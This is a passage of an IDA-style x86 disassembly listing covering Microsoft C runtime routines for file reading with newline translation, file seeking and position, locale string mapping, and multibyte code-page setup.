movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B973: ; CODE XREF: sub_41B8B0+55j
; sub_41B8B0+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41B984: ; CODE XREF: sub_41B8B0+Aj
; sub_41B8B0+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41B8B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B989 proc near ; CODE XREF: sub_416BB0+90p
; sub_41B8B0+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_46A8E0
jnb loc_41BB66
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:46A7E0h[eax*4]
mov eax, dword_46A7E0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41BB66
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41BA3E
test dl, 2
jnz short loc_41BA3E
test dl, 48h
jz short loc_41B9FE
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41B9FE
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41B9FE: ; CODE XREF: sub_41B989+56j
; sub_41B989+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_421068
test eax, eax
jnz short loc_41BA51
call dword_421088
push 5
pop ecx
cmp eax, ecx
jnz short loc_41BA39
mov dword_4694B4, 9
mov dword_4694B8, ecx
jmp loc_41BB77
; ---------------------------------------------------------------------------
loc_41BA39: ; CODE XREF: sub_41B989+99j
cmp eax, 6Dh
jnz short loc_41BA45
loc_41BA3E: ; CODE XREF: sub_41B989+4Cj
; sub_41B989+51j
xor eax, eax
jmp loc_41BB7A
; ---------------------------------------------------------------------------
loc_41BA45: ; CODE XREF: sub_41B989+B3j
push eax
call sub_41C5D7
pop ecx
jmp loc_41BB77
; ---------------------------------------------------------------------------
loc_41BA51: ; CODE XREF: sub_41B989+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41BB61
test edx, edx
jz short loc_41BA76
cmp byte ptr [edi], 0Ah
jnz short loc_41BA76
or al, 4
jmp short loc_41BA78
; ---------------------------------------------------------------------------
loc_41BA76: ; CODE XREF: sub_41B989+E2j
; sub_41B989+E7j
and al, 0FBh
loc_41BA78: ; CODE XREF: sub_41B989+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41BB5B
loc_41BA90: ; CODE XREF: sub_41B989+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41BB4B
cmp al, 0Dh
jz short loc_41BAAC
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BAAC: ; CODE XREF: sub_41B989+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41BACA
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41BAC1
add [ebp+arg_8], 2
jmp short loc_41BB1F
; ---------------------------------------------------------------------------
loc_41BAC1: ; CODE XREF: sub_41B989+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BACA: ; CODE XREF: sub_41B989+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_421068
test eax, eax
jnz short loc_41BAF2
call dword_421088
test eax, eax
jnz short loc_41BB39
loc_41BAF2: ; CODE XREF: sub_41B989+15Dj
cmp [ebp+var_C], 0
jz short loc_41BB39
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41BB14
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41BB1F
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB14: ; CODE XREF: sub_41B989+176j
cmp edi, [ebp+arg_4]
jnz short loc_41BB24
cmp [ebp+var_1], 0Ah
jnz short loc_41BB24
loc_41BB1F: ; CODE XREF: sub_41B989+136j
; sub_41B989+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41BB3C
; ---------------------------------------------------------------------------
loc_41BB24: ; CODE XREF: sub_41B989+18Ej
; sub_41B989+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_41BB7F
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41BB3D
loc_41BB39: ; CODE XREF: sub_41B989+167j
; sub_41B989+16Dj
mov byte ptr [edi], 0Dh
loc_41BB3C: ; CODE XREF: sub_41B989+199j
inc edi
loc_41BB3D: ; CODE XREF: sub_41B989+11Ej
; sub_41B989+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41BA90
jmp short loc_41BB5B
; ---------------------------------------------------------------------------
loc_41BB4B: ; CODE XREF: sub_41B989+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41BB5B
or al, 2
mov [esi], al
loc_41BB5B: ; CODE XREF: sub_41B989+101j
; sub_41B989+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41BB61: ; CODE XREF: sub_41B989+DAj
mov eax, [ebp+var_8]
jmp short loc_41BB7A
; ---------------------------------------------------------------------------
loc_41BB66: ; CODE XREF: sub_41B989+12j
; sub_41B989+39j
and dword_4694B8, 0
mov dword_4694B4, 9
loc_41BB77: ; CODE XREF: sub_41B989+ABj
; sub_41B989+C3j
or eax, 0FFFFFFFFh
loc_41BB7A: ; CODE XREF: sub_41B989+B7j
; sub_41B989+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41B989 endp
; =============== S U B R O U T I N E =======================================
sub_41BB7F proc near ; CODE XREF: sub_416E3E+67p
; sub_417C37+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_46A8E0
push esi
push edi
jnb short loc_41BC01
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:46A7E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_41BC01
push eax
call sub_41D4C6
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41BBC3
mov dword_4694B4, 9
jmp short loc_41BC12
; ---------------------------------------------------------------------------
loc_41BBC3: ; CODE XREF: sub_41BB7F+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_4210AC
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41BBE3
call dword_421088
jmp short loc_41BBE5
; ---------------------------------------------------------------------------
loc_41BBE3: ; CODE XREF: sub_41BB7F+5Aj
xor eax, eax
loc_41BBE5: ; CODE XREF: sub_41BB7F+62j
test eax, eax
jz short loc_41BBF2
push eax
call sub_41C5D7
pop ecx
jmp short loc_41BC12
; ---------------------------------------------------------------------------
loc_41BBF2: ; CODE XREF: sub_41BB7F+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_41BC15
; ---------------------------------------------------------------------------
loc_41BC01: ; CODE XREF: sub_41BB7F+Dj
; sub_41BB7F+2Aj
and dword_4694B8, 0
mov dword_4694B4, 9
loc_41BC12: ; CODE XREF: sub_41BB7F+42j
; sub_41BB7F+71j
or eax, 0FFFFFFFFh
loc_41BC15: ; CODE XREF: sub_41BB7F+80j
pop edi
pop esi
pop ebx
retn
sub_41BB7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BC19 proc near ; CODE XREF: sub_416E3E+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_41BC35
mov [edi+4], ebx
loc_41BC35: ; CODE XREF: sub_41BC19+17j
push 1
push ebx
push esi
call sub_41BB7F
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_41BCA3
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_41BC5A
sub eax, [edi+4]
jmp loc_41BD6C
; ---------------------------------------------------------------------------
loc_41BC5A: ; CODE XREF: sub_41BC19+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_41BC94
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_46A7E0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_41BCAB
mov edx, ecx
loc_41BC85: ; CODE XREF: sub_41BC19+79j
cmp edx, eax
jnb short loc_41BCAB
cmp byte ptr [edx], 0Ah
jnz short loc_41BC91
inc [ebp+var_8]
loc_41BC91: ; CODE XREF: sub_41BC19+73j
inc edx
jmp short loc_41BC85
; ---------------------------------------------------------------------------
loc_41BC94: ; CODE XREF: sub_41BC19+50j
test dl, 80h
jnz short loc_41BCAB
mov dword_4694B4, 16h
loc_41BCA3: ; CODE XREF: sub_41BC19+2Dj
or eax, 0FFFFFFFFh
jmp loc_41BD6C
; ---------------------------------------------------------------------------
loc_41BCAB: ; CODE XREF: sub_41BC19+68j
; sub_41BC19+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_41BCB9
mov eax, [ebp+var_8]
jmp loc_41BD6C
; ---------------------------------------------------------------------------
loc_41BCB9: ; CODE XREF: sub_41BC19+96j
test byte ptr [edi+0Ch], 1
jz loc_41BD64
mov edx, [edi+4]
test edx, edx
jnz short loc_41BCD2
and [ebp+var_8], edx
jmp loc_41BD64
; ---------------------------------------------------------------------------
loc_41BCD2: ; CODE XREF: sub_41BC19+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:46A7E0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_41BD5E
push 2
push 0
push [ebp+var_C]
call sub_41BB7F
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_41BD25
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_41BD10: ; CODE XREF: sub_41BC19+104j
cmp eax, ecx
jnb short loc_41BD1F
cmp byte ptr [eax], 0Ah
jnz short loc_41BD1C
inc [ebp+arg_0]
loc_41BD1C: ; CODE XREF: sub_41BC19+FEj
inc eax
jmp short loc_41BD10
; ---------------------------------------------------------------------------
loc_41BD1F: ; CODE XREF: sub_41BC19+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_41BD59
; ---------------------------------------------------------------------------
loc_41BD25: ; CODE XREF: sub_41BC19+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_41BB7F
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_41BD4C
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_41BD4C
test ch, 4
jz short loc_41BD4F
loc_41BD4C: ; CODE XREF: sub_41BC19+124j
; sub_41BC19+12Cj
mov eax, [edi+18h]
loc_41BD4F: ; CODE XREF: sub_41BC19+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_41BD59: ; CODE XREF: sub_41BC19+10Aj
jz short loc_41BD5E
inc [ebp+arg_0]
loc_41BD5E: ; CODE XREF: sub_41BC19+D9j
; sub_41BC19:loc_41BD59j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_41BD64: ; CODE XREF: sub_41BC19+A4j
; sub_41BC19+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_41BD6C: ; CODE XREF: sub_41BC19+3Cj
; sub_41BC19+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BC19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD71 proc near ; CODE XREF: sub_417193+A3p
; sub_41AC71+A5p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421878
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_46953C, edi
jnz short loc_41BDE7
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_421870
mov esi, 100h
push esi
push edi
call dword_421190
test eax, eax
jz short loc_41BDC5
mov dword_46953C, ebx
jmp short loc_41BDE7
; ---------------------------------------------------------------------------
loc_41BDC5: ; CODE XREF: sub_41BD71+4Aj
push edi
push edi
push ebx
push offset dword_438FF4
push esi
push edi
call dword_42118C
test eax, eax
jz loc_41BEFF
mov dword_46953C, 2
loc_41BDE7: ; CODE XREF: sub_41BD71+2Ej
; sub_41BD71+52j
cmp [ebp+arg_C], edi
jle short loc_41BDFC
push [ebp+arg_C]
push [ebp+arg_8]
call sub_41BF95
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_41BDFC: ; CODE XREF: sub_41BD71+79j
mov eax, dword_46953C
cmp eax, 2
jnz short loc_41BE23
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42118C
jmp loc_41BF01
; ---------------------------------------------------------------------------
loc_41BE23: ; CODE XREF: sub_41BD71+93j
cmp eax, 1
jnz loc_41BEFF
cmp [ebp+arg_18], edi
jnz short loc_41BE39
mov eax, dword_469558
mov [ebp+arg_18], eax
loc_41BE39: ; CODE XREF: sub_41BD71+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_421064
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_41BEFF
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_415D70
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41BE94
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_41BE94: ; CODE XREF: sub_41BD71+10Ej
cmp [ebp+var_24], edi
jz short loc_41BEFF
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_421064
test eax, eax
jz short loc_41BEFF
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421190
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_41BEFF
test byte ptr [ebp+arg_4+1], 4
jz short loc_41BF13
cmp [ebp+arg_14], edi
jz loc_41BF8E
cmp esi, [ebp+arg_14]
jg short loc_41BEFF
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421190
test eax, eax
jnz loc_41BF8E
loc_41BEFF: ; CODE XREF: sub_41BD71+66j
; sub_41BD71+B5j ...
xor eax, eax
loc_41BF01: ; CODE XREF: sub_41BD71+ADj
; sub_41BD71+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BF13: ; CODE XREF: sub_41BD71+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_415D70
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41BF47
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_41BF47: ; CODE XREF: sub_41BD71+1C2j
cmp ebx, edi
jz short loc_41BEFF
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421190
test eax, eax
jz short loc_41BEFF
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_41BF6E
push edi
push edi
jmp short loc_41BF74
; ---------------------------------------------------------------------------
loc_41BF6E: ; CODE XREF: sub_41BD71+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_41BF74: ; CODE XREF: sub_41BD71+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_421138
mov esi, eax
cmp esi, edi
jz loc_41BEFF
loc_41BF8E: ; CODE XREF: sub_41BD71+165j
; sub_41BD71+188j
mov eax, esi
jmp loc_41BF01
sub_41BD71 endp
; =============== S U B R O U T I N E =======================================
sub_41BF95 proc near ; CODE XREF: sub_41BD71+81p
; sub_41F845+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_41BFB2
loc_41BFA5: ; CODE XREF: sub_41BF95+1Bj
cmp byte ptr [eax], 0
jz short loc_41BFB2
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_41BFA5
loc_41BFB2: ; CODE XREF: sub_41BF95+Ej
; sub_41BF95+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_41BFBD
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_41BFBD: ; CODE XREF: sub_41BF95+21j
mov eax, edx
retn
sub_41BF95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BFC0 proc near ; CODE XREF: sub_41C384+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41C159
mov esi, eax
pop ecx
cmp esi, dword_46A8E4
mov [ebp+arg_0], esi
jz loc_41C14D
xor ebx, ebx
cmp esi, ebx
jz loc_41C143
xor edx, edx
mov eax, offset dword_438110
loc_41BFF4: ; CODE XREF: sub_41BFC0+41j
cmp [eax], esi
jz short loc_41C06A
add eax, 30h
inc edx
cmp eax, offset dword_438200
jl short loc_41BFF4
lea eax, [ebp+var_18]
push eax
push esi
call dword_421194
cmp eax, 1
jnz loc_41C13B
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_46AA00
cmp [ebp+var_18], 1
mov dword_46A8E4, esi
rep stosd
stosb
mov dword_46AB04, ebx
jbe loc_41C129
cmp [ebp+var_12], 0
jz loc_41C0FF
lea ecx, [ebp+var_11]
loc_41C047: ; CODE XREF: sub_41BFC0+139j
mov dl, [ecx]
test dl, dl
jz loc_41C0FF
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41C058: ; CODE XREF: sub_41BFC0+A8j
cmp eax, edx
ja loc_41C0F3
or byte_46AA01[eax], 4
inc eax
jmp short loc_41C058
; ---------------------------------------------------------------------------
loc_41C06A: ; CODE XREF: sub_41BFC0+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_46AA00
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_438120[esi]
loc_41C086: ; CODE XREF: sub_41BFC0+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41C0B9
loc_41C08D: ; CODE XREF: sub_41BFC0+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41C0B9
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41C0B2
mov edx, [ebp+var_4]
mov dl, byte_438108[edx]
loc_41C0A7: ; CODE XREF: sub_41BFC0+F0j
or byte_46AA01[eax], dl
inc eax
cmp eax, edi
jbe short loc_41C0A7
loc_41C0B2: ; CODE XREF: sub_41BFC0+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41C08D
loc_41C0B9: ; CODE XREF: sub_41BFC0+CBj
; sub_41BFC0+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41C086
mov eax, [ebp+arg_0]
mov dword_46A8FC, 1
push eax
mov dword_46A8E4, eax
call sub_41C1A3
lea esi, dword_438114[esi]
mov edi, offset dword_46A8F0
movsd
movsd
pop ecx
mov dword_46AB04, eax
movsd
jmp short loc_41C148
; ---------------------------------------------------------------------------
loc_41C0F3: ; CODE XREF: sub_41BFC0+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41C047
loc_41C0FF: ; CODE XREF: sub_41BFC0+7Ej
; sub_41BFC0+8Bj
push 1
pop eax
loc_41C102: ; CODE XREF: sub_41BFC0+14Fj
or byte_46AA01[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41C102
push esi
call sub_41C1A3
pop ecx
mov dword_46AB04, eax
mov dword_46A8FC, 1
jmp short loc_41C12F
; ---------------------------------------------------------------------------
loc_41C129: ; CODE XREF: sub_41BFC0+74j
mov dword_46A8FC, ebx
loc_41C12F: ; CODE XREF: sub_41BFC0+167j
xor eax, eax
mov edi, offset dword_46A8F0
stosd
stosd
stosd
jmp short loc_41C148
; ---------------------------------------------------------------------------
loc_41C13B: ; CODE XREF: sub_41BFC0+51j
cmp dword_469560, ebx
jz short loc_41C151
loc_41C143: ; CODE XREF: sub_41BFC0+27j
call sub_41C1D6
loc_41C148: ; CODE XREF: sub_41BFC0+131j
; sub_41BFC0+179j
call sub_41C1FF
loc_41C14D: ; CODE XREF: sub_41BFC0+1Dj
xor eax, eax
jmp short loc_41C154
; ---------------------------------------------------------------------------
loc_41C151: ; CODE XREF: sub_41BFC0+181j
or eax, 0FFFFFFFFh
loc_41C154: ; CODE XREF: sub_41BFC0+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41BFC0 endp
; =============== S U B R O U T I N E =======================================
sub_41C159 proc near ; CODE XREF: sub_41BFC0+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_469560, 0
cmp eax, 0FFFFFFFEh
jnz short loc_41C179
mov dword_469560, 1
jmp dword_42119C
; ---------------------------------------------------------------------------
loc_41C179: ; CODE XREF: sub_41C159+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_41C18E
mov dword_469560, 1
jmp dword_421198
; ---------------------------------------------------------------------------
loc_41C18E: ; CODE XREF: sub_41C159+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41C1A2
mov eax, dword_469558
mov dword_469560, 1
locret_41C1A2: ; CODE XREF: sub_41C159+38j
retn
sub_41C159 endp
; =============== S U B R O U T I N E =======================================
sub_41C1A3 proc near ; CODE XREF: sub_41BFC0+118p
; sub_41BFC0+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41C1D0
sub eax, 4
jz short loc_41C1CA
sub eax, 0Dh
jz short loc_41C1C4
dec eax
jz short loc_41C1BE
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C1BE: ; CODE XREF: sub_41C1A3+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41C1C4: ; CODE XREF: sub_41C1A3+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41C1CA: ; CODE XREF: sub_41C1A3+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41C1D0: ; CODE XREF: sub_41C1A3+9j
mov eax, 411h
retn
sub_41C1A3 endp
; =============== S U B R O U T I N E =======================================
sub_41C1D6 proc near ; CODE XREF: sub_41BFC0:loc_41C143p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_46AA00
rep stosd
stosb
xor eax, eax
mov edi, offset dword_46A8F0
mov dword_46A8E4, eax
mov dword_46A8FC, eax
mov dword_46AB04, eax
stosd
stosd
stosd
pop edi
retn
sub_41C1D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C1FF proc near ; CODE XREF: sub_41BFC0:loc_41C148p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_46A8E4
call dword_421194
cmp eax, 1
jnz loc_41C338
xor eax, eax
mov esi, 100h
loc_41C229: ; CODE XREF: sub_41C1FF+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_41C229
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_41C27A
push ebx
push edi
lea edx, [ebp+var_D]
loc_41C248: ; CODE XREF: sub_41C1FF+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_41C26F
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_41C26F: ; CODE XREF: sub_41C1FF+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41C248
pop edi
pop ebx
loc_41C27A: ; CODE XREF: sub_41C1FF+42j
push 0
lea eax, [ebp+var_514]
push dword_46AB04
push dword_46A8E4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_41D1F7
push 0
lea eax, [ebp+var_214]
push dword_46A8E4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_46AB04
call sub_41BD71
push 0
lea eax, [ebp+var_314]
push dword_46A8E4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_46AB04
call sub_41BD71
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_41C2F5: ; CODE XREF: sub_41C1FF+135j
mov dx, [ecx]
test dl, 1
jz short loc_41C313
or byte_46AA01[eax], 10h
mov dl, [ebp+eax+var_214]
loc_41C30B: ; CODE XREF: sub_41C1FF+127j
mov byte_46A900[eax], dl
jmp short loc_41C32F
; ---------------------------------------------------------------------------
loc_41C313: ; CODE XREF: sub_41C1FF+FCj
test dl, 2
jz short loc_41C328
or byte_46AA01[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_41C30B
; ---------------------------------------------------------------------------
loc_41C328: ; CODE XREF: sub_41C1FF+117j
and byte_46A900[eax], 0
loc_41C32F: ; CODE XREF: sub_41C1FF+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_41C2F5
jmp short loc_41C381
; ---------------------------------------------------------------------------
loc_41C338: ; CODE XREF: sub_41C1FF+1Dj
xor eax, eax
mov esi, 100h
loc_41C33F: ; CODE XREF: sub_41C1FF+180j
cmp eax, 41h
jb short loc_41C35D
cmp eax, 5Ah
ja short loc_41C35D
or byte_46AA01[eax], 10h
mov cl, al
add cl, 20h
loc_41C355: ; CODE XREF: sub_41C1FF+174j
mov byte_46A900[eax], cl
jmp short loc_41C37C
; ---------------------------------------------------------------------------
loc_41C35D: ; CODE XREF: sub_41C1FF+143j
; sub_41C1FF+148j
cmp eax, 61h
jb short loc_41C375
cmp eax, 7Ah
ja short loc_41C375
or byte_46AA01[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_41C355
; ---------------------------------------------------------------------------
loc_41C375: ; CODE XREF: sub_41C1FF+161j
; sub_41C1FF+166j
and byte_46A900[eax], 0
loc_41C37C: ; CODE XREF: sub_41C1FF+15Cj
inc eax
cmp eax, esi
jb short loc_41C33F
loc_41C381: ; CODE XREF: sub_41C1FF+137j
pop esi
leave
retn
sub_41C1FF endp
; =============== S U B R O U T I N E =======================================
sub_41C384 proc near ; CODE XREF: sub_41C7C2+9p
; sub_41C81A+Dp ...
cmp dword_46AB2C, 0
jnz short locret_41C39F
push 0FFFFFFFDh
call sub_41BFC0
pop ecx
mov dword_46AB2C, 1
locret_41C39F: ; CODE XREF: sub_41C384+7j
retn
sub_41C384 endp
; =============== S U B R O U T I N E =======================================
